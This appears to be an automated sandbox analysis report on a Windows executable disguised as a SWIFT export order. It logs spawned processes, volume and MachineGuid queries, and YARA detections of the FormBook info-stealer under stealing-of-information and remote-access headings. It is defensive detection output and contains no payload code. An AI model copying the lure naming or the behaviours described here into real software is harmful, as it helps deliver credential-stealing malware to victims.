Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe Jump to behavior
Source: explorer.exe, 0000000B.00000000.271348735.0000000005EA0000.00000004.00000001.sdmp, explorer.exe, 0000000B.00000000.274750515.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 0000000B.00000000.308143289.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 0000000B.00000000.328373843.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.267228079.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.303835455.0000000005EA0000.00000004.00000001.sdmp, explorer.exe, 0000000B.00000000.281380700.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.299205343.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.290228388.00000000089FF000.00000004.00000001.sdmp, help.exe, 00000014.00000002.508020541.0000000005560000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000B.00000000.328373843.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.267228079.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.281380700.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.299205343.0000000001640000.00000002.00020000.sdmp, help.exe, 00000014.00000002.508020541.0000000005560000.00000002.00020000.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000000B.00000000.328373843.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.267228079.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.281380700.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.299205343.0000000001640000.00000002.00020000.sdmp, help.exe, 00000014.00000002.508020541.0000000005560000.00000002.00020000.sdmp Binary or memory string: SProgram Managerl
Source: explorer.exe, 0000000B.00000000.327848027.0000000001128000.00000004.00000020.sdmp, explorer.exe, 0000000B.00000000.266334576.0000000001128000.00000004.00000020.sdmp, explorer.exe, 0000000B.00000000.297512128.0000000001128000.00000004.00000020.sdmp, explorer.exe, 0000000B.00000000.280549209.0000000001128000.00000004.00000020.sdmp Binary or memory string: ProgmanOMEa
Source: explorer.exe, 0000000B.00000000.328373843.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.267228079.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.281380700.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.299205343.0000000001640000.00000002.00020000.sdmp, help.exe, 00000014.00000002.508020541.0000000005560000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 0000000B.00000000.328373843.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.267228079.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.281380700.0000000001640000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.299205343.0000000001640000.00000002.00020000.sdmp, help.exe, 00000014.00000002.508020541.0000000005560000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Linq.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY
